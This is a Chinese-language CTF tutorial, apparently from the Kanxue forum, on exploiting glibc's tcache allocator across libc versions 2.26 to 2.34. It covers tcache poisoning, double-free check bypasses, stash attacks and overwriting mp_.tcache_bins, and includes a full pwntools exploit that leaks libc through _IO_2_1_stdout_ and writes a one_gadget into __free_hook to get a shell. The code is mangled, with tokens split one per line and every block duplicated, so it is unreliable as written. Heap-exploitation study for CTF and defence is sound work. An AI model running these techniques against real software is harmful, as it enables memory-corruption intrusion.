在libc2.26及之后,glibc引入了tcache机制,目的是为了使多线程下的堆分配有更高的效率。
最初版本的tcache引入了这两个结构体
从以上部分可以看出,他是类似于fastbin的一种单链表结构。
除此之外,还有两个重要函数:
tcache_put会在_int_free函数的开头被调用,尝试将对应freed chunk优先放入tcache bin中。
因为有TCACHE_MAX_BINS
的限制(类似于fastbin的global_max_fast去限制fastbinsY数组),0x400及以上的chunk并不会放入tcache bin。
并且每条单链表上最多有mp_.tcache_count
个chunk,该值默认为7。
而且这里应该注意,tcache_entry *e = (tcache_entry *) chunk2mem(chunk);
这里调用了chunk2mem
这个宏,所以tcache链表串起来的是对应chunk的userdata的位置。
tcache_get会在_int_malloc的开头被调用,尝试从tcache bin里面拿对应的chunk。
这里给出一个demo程序来简单看一下tcache:
编译语句:
gcc -o demo ./demo.c -no-pie
在puts处下断点,查看bins情况
可以看到,0x30和0x40的tcache bin被放入了7个chunk的时候,再次free这两个size的chunk,都进到了fastbin里面。
(注:在2.27的高版本同样也具有相关检测)
在libc2.29之后,tcacbe_entry结构体中加入了一个key指针
next对应了malloc_chunk中的fd那个位置,key对应了bk的位置。
tcache_put函数针对key有了相关的更新:
由于这个key的加入,tcachebin的double free检测有了更新:
这里只是初步过一遍,后面会结合对应版本的源码讲具体攻击手法。
在tcache机制加入的初期,问题其实是非常多的,他的安全性甚至还不如fastbin,这就导致了非常多的利用可以轻易达成。
类似于fastbin attack,不过目前的tcache并没有检查next指向的chunk的size是否合法,所以直接伪造next指针为想要修改的地址就好了。
这里在libc2.27下做一个演示
注:在hijack b的next指针之前,先free掉了一个相同大小的chunk,这是因为在该版本下有一个检查,
assert (tcache->counts[tc_idx] > 0);
运行结果如下
在2.34以及之后的版本中,libc对fastbin和tcache bin的fd指针位置进行了宏操作来保护地址
劫持方法并没有太大的改变,这一部分手动分析即可。
(例题参考:ByteCTF-2022 mini_http2 )
环境是libc2.27的,保护全开。(为了方便本地演示,调试时关掉了本机的ALSR)
主菜单只有两个功能,创建堆和释放堆,并没有可以用来leak信息的show功能。
漏洞非常直白:
在read结束过后有一个off by null。
由于没有可以用于leak的函数,这里会用到一个IO_FILE的技巧:劫持 _IO_2_1_stdout_
虽然程序一开始用setbuf关闭了缓冲区, 但我们还是可以修改_IO_2_1_stdout_
的_flags成员来让程序误以为存在缓冲。
因为程序调用了大量的puts函数,而puts会调用_IO_new_file_xsputn
--> _IO_new_file_overflow
-->_IO_do_write
总的来说,要使程序认为stdout仍具有缓冲区,需要满足:
即:
_flags满足过后,就会输出_IO_2_1_stdout_
中_IO_write_base
到_IO_write_ptr
之间的内容。
leak的思路有了之后,先构造overlap chunk,
接着free掉chunk 4(其实chunk2和chunk3也行),为接下来拿到libcbase之后劫持__free_hook做准备。
然后申请0x500的chunk,切割unsortedbin,使之前free掉的chunk 1处的next指针指向一个main_arena的地址
再申请一个chunk进行低字节爆破,有1/16的几率将next指针挂到_IO_2_1_stdout_
。
malloc到_IO_2_1_stdout_
,改写_flags
,_IO_write_base
和完成tcache poisoning
然后menu函数会调用puts,缓冲区被输出,leak到libc基址
接下来再tcache poisoning将one_gadget写进__free_hook,getshell。
完整exp:
此时的tcache根本不会检查,直接free(a), free(a)都可以成功。
由于加入了以下检查:
之前的直接free两次的手法就失效了,但是我们可以先将tcachebin填满,然后将问题转化为fastbin中的double free,抑或是阅读源码,另寻突破口。
tcache的stash机制,简单来说就是,在从fastbin和small bin中取chunk的时候,会尽可能的把剩余的其他chunk也一起放入tcache bin中。对于stash机制在small bin中的应用,接下来会单独讲解。这里仅讨论在fastbin中的应用。
本地写了一个demo程序,libc版本是2.31
首先用7个chunk填满tcache的某一位,然后再开两个chunk放入fastbin中,接下来free ABA构成double free。
然后拿走7个tcache中的chunk,拿到fastbin中的第一个A,将fd改成目标地址,然后此时会触发stash机制,将chunkB和第二个A,以及他指向的目标一起放进tcache中,达成申请到任意地址的效果。(如果要检查counts,就再简单调整一下bin的结构,这里只给出能达成任意申请的证明)
如果不存在calloc的话,那么上面那个手法就很难实现了,这时不妨再分析一下源码,另寻突破口。
在tcache_put
中,对每一个进入tcache bin的chunk的bk处赋予了一个特定值
在_int_free
中进行了相关检查
稍微总结一下,会发现以下几种利用方式:
将原本的key破坏掉,即可绕过遍历检查
改掉chunk size让算出来的tc_idx
和原来不一致,从而进入别的链表遍历
条件:能够申请到可以进入unsorted bin和tcache bin的chunk(>0x90)
(值得一提的是,用于劫持tcache上指针的chunk_C
和被double free的chunk_A
是可以反复利用的,所以该trick可以轻松达成多次任意地址申请)
(例题可以找ciscn_2022华东北赛区-Blue 来练手)
接下来的trick比较有意思,在libc 2.29+使用也较为广泛
以下为示范漏洞程序(ubuntu20.04)
编译语句:
洞十分多,uaf,堆溢出等等,而且可以任意调用calloc和malloc。
之前介绍了tcache的stash机制在fastbin下的利用,简单的说就是在fastbin拿到chunk的时候会尽可能将剩下的chunks往tcache里面塞。
对于smallbin的情况也类似,在从smallbin取chunk的时候也会将剩下的chunk尽可能的丢进tcache。但是需要先绕过smallbin在解链的时候的检查。(bck->fd = victim && fwd->bk = victim)
tcache stashing unlink attack可以做到将任意地址改写为一个main_arena上的地址(类似于之前的unsorted bin attack)
如果可以保证目标地址+0x8处指向一个可写的地址,那么还可以实现任意地址写。
先将某一个size的tcache填到6个,然后再将两个chunk放入对应size的smallbin。
因为smallbin是FIFO的,这个时候拿走先放入smallbin的那个chunk过后,size为0x70的tcache还有一个空位,会尝试将我们后放入smallbin的那个chunk放入tcache中。
此时会有以下流程:
由于这个stash过程没有任何检查,所以只需要伪造后放入smallbin的那个chunk的bk为目标地址-0x10,由bck->fd = bin
实现目标。
但是在前一个chunk解链时会检查双向链表的完整性,所以需要保证后面那个chunk的fd不变。
此时用calloc从0x70的smallbin里拿一个chunk之后,触发stash,将剩下的chunk放进tcache,成功实现攻击
实现第二个效果的方法和之前差不多,首先将tcache摆好5个chunk,然后再放两个chunk进对于的smallbin
我们将第二个small chunk的bk改为目标位置-0x10,然后保证目标地址+0x8是个可写的地址(准确的说是[目标地址+0x8]+0x10因为会执行bck->fd = bin
,如果bck->fd不可写的话会报错)
在使用calloc请求了一个small chunk之后,会先将你伪造好了bk的那个chunk放进tcache,但此时tcache对应的size还可以装一个,所以还会继续stash,此时就会将目标位置放到tcache entries的头部。
接下来,使用malloc去拿那个chunk就好了,因为直接有合适的size可以拿,不会进入到smallbin的循环中,就不会异常退出。(在house of pig中,使用_IO_str_overflow
来调用malloc)
启用tcache bin的程序,在堆被初始化的时候便会申请出一个chunk,存tcache的各种信息,这就是tcache_perthread_struct
。它存放了每个size的tcache的entries
指针,以及对应bin中的空闲chunk个数。
该方法往往会结合打mp_.tcache_bins
,算好偏移,将entries
和counts
数组延续到可控区域来实现任意申请。
在学习这种攻击手法之前,先来看看tcache的结构,
可以看到这里TCACHE_MAX_BINS
是常量,不过最终在__libc_malloc
内部,使用的还是mp_.tcache_bins
,所以不必担心无法劫持。
在可以申请到大chunk的时候,通常可以使用largebin attack去打mp_.tcache_bins
,让更大的chunk能进入到tcache bin中(这一点和打global_max_fast很相似)。
如果counts[idx]>0
,那么就会从对应entries[idx]
拿chunk,我们前面已经攻击了mp_.tcache_bins
,那么这个数组其实就相当于能延续相当长一段内存空间,我们在可控内存布置好对应的entries和counts(也就是伪造好一个tcache_perthread_struct
中entries和counts对应的下标处),就能达到任意内存申请。
这里给出偏移的计算方式
(在x64中MINSIZE
是0x20
,MALLOC_ALIGNMENT
是2*SIZE_SZ
,也就是0x10
)
例题参考:VNCTF-2022 LittleRedFlower
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache/
https://www.anquanke.com/post/id/198173
https://www.anquanke.com/post/id/235821
/
*
We overlay this structure on the user
-
data portion of a chunk when the chunk
is
stored
in
the per
-
thread cache.
*
/
typedef struct tcache_entry
{
struct tcache_entry
*
next
;
} tcache_entry;
/
*
We overlay this structure on the user
-
data portion of a chunk when the chunk
is
stored
in
the per
-
thread cache.
*
/
typedef struct tcache_entry
{
struct tcache_entry
*
next
;
} tcache_entry;
/
*
There
is
one of these
for
each thread, which contains the per
-
thread cache (hence
"tcache_perthread_struct"
). Keeping overall size low
is
mildly important. Note that COUNTS
and
ENTRIES are redundant (we could have just counted the linked
list
each time), this
is
for
performance reasons.
*
/
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry
*
entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct
*
tcache
=
NULL;
/
*
There
is
one of these
for
each thread, which contains the per
-
thread cache (hence
"tcache_perthread_struct"
). Keeping overall size low
is
mildly important. Note that COUNTS
and
ENTRIES are redundant (we could have just counted the linked
list
each time), this
is
for
performance reasons.
*
/
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry
*
entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct
*
tcache
=
NULL;
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry
*
e
=
(tcache_entry
*
) chunk2mem (chunk);
assert
(tc_idx < TCACHE_MAX_BINS);
e
-
>
next
=
tcache
-
>entries[tc_idx];
tcache
-
>entries[tc_idx]
=
e;
+
+
(tcache
-
>counts[tc_idx]);
}
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry
*
e
=
(tcache_entry
*
) chunk2mem (chunk);
assert
(tc_idx < TCACHE_MAX_BINS);
e
-
>
next
=
tcache
-
>entries[tc_idx];
tcache
-
>entries[tc_idx]
=
e;
+
+
(tcache
-
>counts[tc_idx]);
}
static void
*
tcache_get (size_t tc_idx)
{
tcache_entry
*
e
=
tcache
-
>entries[tc_idx];
assert
(tc_idx < TCACHE_MAX_BINS);
assert
(tcache
-
>entries[tc_idx] >
0
);
tcache
-
>entries[tc_idx]
=
e
-
>
next
;
-
-
(tcache
-
>counts[tc_idx]);
return
(void
*
) e;
}
static void
*
tcache_get (size_t tc_idx)
{
tcache_entry
*
e
=
tcache
-
>entries[tc_idx];
assert
(tc_idx < TCACHE_MAX_BINS);
assert
(tcache
-
>entries[tc_idx] >
0
);
tcache
-
>entries[tc_idx]
=
e
-
>
next
;
-
-
(tcache
-
>counts[tc_idx]);
return
(void
*
) e;
}
typedef struct tcache_entry
{
struct tcache_entry
*
next
;
/
*
This field exists to detect double frees.
*
/
struct tcache_perthread_struct
*
key;
} tcache_entry;
typedef struct tcache_entry
{
struct tcache_entry
*
next
;
/
*
This field exists to detect double frees.
*
/
struct tcache_perthread_struct
*
key;
} tcache_entry;
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry
*
e
=
(tcache_entry
*
)chunk2mem(chunk);
/
*
Mark this chunk as
"in the tcache"
so the test
in
_int_free will
detect a double free.
*
/
e
-
>key
=
tcache;
e
-
>
next
=
tcache
-
>entries[tc_idx];
tcache
-
>entries[tc_idx]
=
e;
+
+
(tcache
-
>counts[tc_idx]);
}
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry
*
e
=
(tcache_entry
*
)chunk2mem(chunk);
/
*
Mark this chunk as
"in the tcache"
so the test
in
_int_free will
detect a double free.
*
/
e
-
>key
=
tcache;
e
-
>
next
=
tcache
-
>entries[tc_idx];
tcache
-
>entries[tc_idx]
=
e;
+
+
(tcache
-
>counts[tc_idx]);
}
size_t tc_idx
=
csize2tidx(size);
if
(tcache !
=
NULL && tc_idx < mp_.tcache_bins)
{
/
*
Check to see
if
it's already
in
the tcache.
*
/
tcache_entry
*
e
=
(tcache_entry
*
)chunk2mem(p);
if
(__glibc_unlikely(e
-
>key
=
=
tcache))
{
tcache_entry
*
tmp;
LIBC_PROBE(memory_tcache_double_free,
2
, e, tc_idx);
/
/
这里会以一定的概率去遍历链表
for
(tmp
=
tcache
-
>entries[tc_idx]; tmp; tmp
=
tmp
-
>
next
)
if
(tmp
=
=
e)
malloc_printerr(
"free(): double free detected in tcache 2"
);
}
if
(tcache
-
>counts[tc_idx] < mp_.tcache_count)
{
tcache_put(p, tc_idx);
return
;
}
}
size_t tc_idx
=
csize2tidx(size);
if
(tcache !
=
NULL && tc_idx < mp_.tcache_bins)
{
/
*
Check to see
if
it's already
in
the tcache.
*
/
tcache_entry
*
e
=
(tcache_entry
*
)chunk2mem(p);
if
(__glibc_unlikely(e
-
>key
=
=
tcache))
{
tcache_entry
*
tmp;
LIBC_PROBE(memory_tcache_double_free,
2
, e, tc_idx);
/
/
这里会以一定的概率去遍历链表
for
(tmp
=
tcache
-
>entries[tc_idx]; tmp; tmp
=
tmp
-
>
next
)
if
(tmp
=
=
e)
malloc_printerr(
"free(): double free detected in tcache 2"
);
}
if
(tcache
-
>counts[tc_idx] < mp_.tcache_count)
{
tcache_put(p, tc_idx);
return
;
}
}
/
*
Safe
-
Linking:
Use randomness
from
ASLR (mmap_base) to protect single
-
linked lists
of Fast
-
Bins
and
TCache. That
is
, mask the
"next"
pointers of the
lists' chunks,
and
also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe
-
Unlinking
in
the double
-
linked lists of Small
-
Bins.
It assumes a minimum page size of
4096
bytes (
12
bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works.
*
/
((__typeof (ptr)) ((((size_t) pos) >>
12
) ^ ((size_t) ptr)))
/
*
Safe
-
Linking:
Use randomness
from
ASLR (mmap_base) to protect single
-
linked lists
of Fast
-
Bins
and
TCache. That
is
, mask the
"next"
pointers of the
lists' chunks,
and
also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe
-
Unlinking
in
the double
-
linked lists of Small
-
Bins.
It assumes a minimum page size of
4096
bytes (
12
bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works.
*
/
((__typeof (ptr)) ((((size_t) pos) >>
12
) ^ ((size_t) ptr)))
int
_IO_new_file_overflow (_IO_FILE
*
f,
int
ch)
{
if
(f
-
>_flags & _IO_NO_WRITES)
{
f
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
/
*
If currently reading
or
no
buffer
allocated.
*
/
if
((f
-
>_flags & _IO_CURRENTLY_PUTTING)
=
=
0
|| f
-
>_IO_write_base
=
=
NULL)
{
:
:
}
if
(ch
=
=
EOF)
return
_IO_do_write (f, f
-
>_IO_write_base,
f
-
>_IO_write_ptr
-
f
-
>_IO_write_base);
int
_IO_new_file_overflow (_IO_FILE
*
f,
int
ch)
{
if
(f
-
>_flags & _IO_NO_WRITES)
{
f
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
/
*
If currently reading
or
no
buffer
allocated.
*
/
if
((f
-
>_flags & _IO_CURRENTLY_PUTTING)
=
=
0
|| f
-
>_IO_write_base
=
=
NULL)
{
:
:
}
if
(ch
=
=
EOF)
return
_IO_do_write (f, f
-
>_IO_write_base,
f
-
>_IO_write_ptr
-
f
-
>_IO_write_base);
static
_IO_size_t
new_do_write (_IO_FILE
*
fp, const char
*
data, _IO_size_t to_do)
{
_IO_size_t count;
if
(fp
-
>_flags & _IO_IS_APPENDING)
/
*
On a system without a proper O_APPEND implementation,
you would need to sys_seek(
0
, SEEK_END) here, but
is
not
needed nor desirable
for
Unix
-
or
Posix
-
like systems.
Instead, just indicate that offset (before
and
after)
is
unpredictable.
*
/
fp
-
>_offset
=
_IO_pos_BAD;
else
if
(fp
-
>_IO_read_end !
=
fp
-
>_IO_write_base)
{
............
}
count
=
_IO_SYSWRITE (fp, data, to_do);
static
_IO_size_t
new_do_write (_IO_FILE
*
fp, const char
*
data, _IO_size_t to_do)
{
_IO_size_t count;
if
(fp
-
>_flags & _IO_IS_APPENDING)
/
*
On a system without a proper O_APPEND implementation,
you would need to sys_seek(
0
, SEEK_END) here, but
is
not
needed nor desirable
for
Unix
-
or
Posix
-
like systems.
Instead, just indicate that offset (before
and
after)
is
unpredictable.
*
/
fp
-
>_offset
=
_IO_pos_BAD;
else
if
(fp
-
>_IO_read_end !
=
fp
-
>_IO_write_base)
{
............
}
count
=
_IO_SYSWRITE (fp, data, to_do);
_flags
=
0xfbad0000
/
/
Magic number
_flags &
=
~_IO_NO_WRITES
/
/
_flags
=
0xfbad0000
_flags |
=
_IO_CURRENTLY_PUTTING
/
/
_flags
=
0xfbad0800
_flags |
=
_IO_IS_APPENDING
/
/
_flags
=
0xfbad1800
_flags
=
0xfbad0000
/
/
Magic number
_flags &
=
~_IO_NO_WRITES
/
/
_flags
=
0xfbad0000
_flags |
=
_IO_CURRENTLY_PUTTING
/
/
_flags
=
0xfbad0800
_flags |
=
_IO_IS_APPENDING
/
/
_flags
=
0xfbad1800
create(
0x4f0
)
create(
0x30
)
create(
0x40
)
create(
0x50
)
create(
0x60
)
create(
0x4f0
)
create(
0x60
, p64(
0xdeadbeef
))
delete(
4
)
pay
=
b
'a'
*
0x60
+
p64(
0x660
)
create(
0x68
, pay)
delete(
1
)
delete(
0
)
delete(
5
)
create(
0x4f0
)
create(
0x30
)
create(
0x40
)
create(
0x50
)
create(
0x60
)
create(
0x4f0
)
create(
0x60
, p64(
0xdeadbeef
))
delete(
4
)
pay
=
b
'a'
*
0x60
+
p64(
0x660
)
create(
0x68
, pay)
delete(
1
)
delete(
0
)
delete(
5
)
create(
0x4f0
)
delete(
4
)
create(
0xe0
,
'\x60\x07'
)
create(
0x4f0
)
delete(
4
)
create(
0xe0
,
'\x60\x07'
)
create(
0x30
)
pay
=
p64(
0xfbad1800
)
+
p64(
0
)
*
3
+
b
'\x00'
create(
0x30
, pay)
create(
0x30
)
pay
=
p64(
0xfbad1800
)
+
p64(
0
)
*
3
+
b
'\x00'
create(
0x30
, pay)
from
pwn
import
*
context.log_level
=
'debug'
elf
=
ELF(
'./baby_tcache'
)
libc
=
ELF(
'./libc-2.27.so'
)
p
=
process(
'./baby_tcache'
)
def
choice(idx):
p.recvuntil(
'choice:'
)
p.sendline(
str
(idx))
def
create(sz, content
=
'A'
):
choice(
1
)
p.recvuntil(
'Size:'
)
p.sendline(
str
(sz))
p.recvuntil(
'Data:'
)
p.send(content)
def
delete(idx):
choice(
2
)
p.recvuntil(
'Index:'
)
p.sendline(
str
(idx))
create(
0x4f0
)
create(
0x30
)
create(
0x40
)
create(
0x50
)
create(
0x60
)
create(
0x4f0
)
create(
0x60
, p64(
0xdeadbeef
))
delete(
4
)
pay
=
b
'a'
*
0x60
+
p64(
0x660
)
create(
0x68
, pay)
delete(
1
)
delete(
0
)
delete(
5
)
create(
0x4f0
)
delete(
4
)
create(
0xe0
,
'\x60\x07'
)
create(
0x30
)
pay
=
p64(
0xfbad1800
)
+
p64(
0
)
*
3
+
b
'\x00'
create(
0x30
, pay)
p.recv(
8
)
libcbase
=
u64(p.recv(
8
))
-
0x3ed8b0
hook
=
libcbase
+
libc.symbols[
'__free_hook'
]
print
(
hex
(libcbase))
one
=
[
0x4f2c5
,
0x4f322
,
0x10a38c
]
create(
0xf0
, p64(hook))
create(
0x60
)
create(
0x60
, p64(libcbase
+
one[
1
]))
delete(
4
)
p.interactive()
from
pwn
import
*
context.log_level
=
'debug'
elf
=
ELF(
'./baby_tcache'
)
libc
=
ELF(
'./libc-2.27.so'
)
p
=
process(
'./baby_tcache'
)
def
choice(idx):
p.recvuntil(
'choice:'
)
p.sendline(
str
(idx))
def
create(sz, content
=
'A'
):
choice(
1
)
p.recvuntil(
'Size:'
)
p.sendline(
str
(sz))
p.recvuntil(
'Data:'
)
p.send(content)
def
delete(idx):
choice(
2
)
p.recvuntil(
'Index:'
)
p.sendline(
str
(idx))
create(
0x4f0
)
create(
0x30
)
create(
0x40
)
create(
0x50
)
create(
0x60
)
create(
0x4f0
)
create(
0x60
, p64(
0xdeadbeef
))
delete(
4
)
pay
=
b
'a'
*
0x60
+
p64(
0x660
)
create(
0x68
, pay)
delete(
1
)
delete(
0
)
delete(
5
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!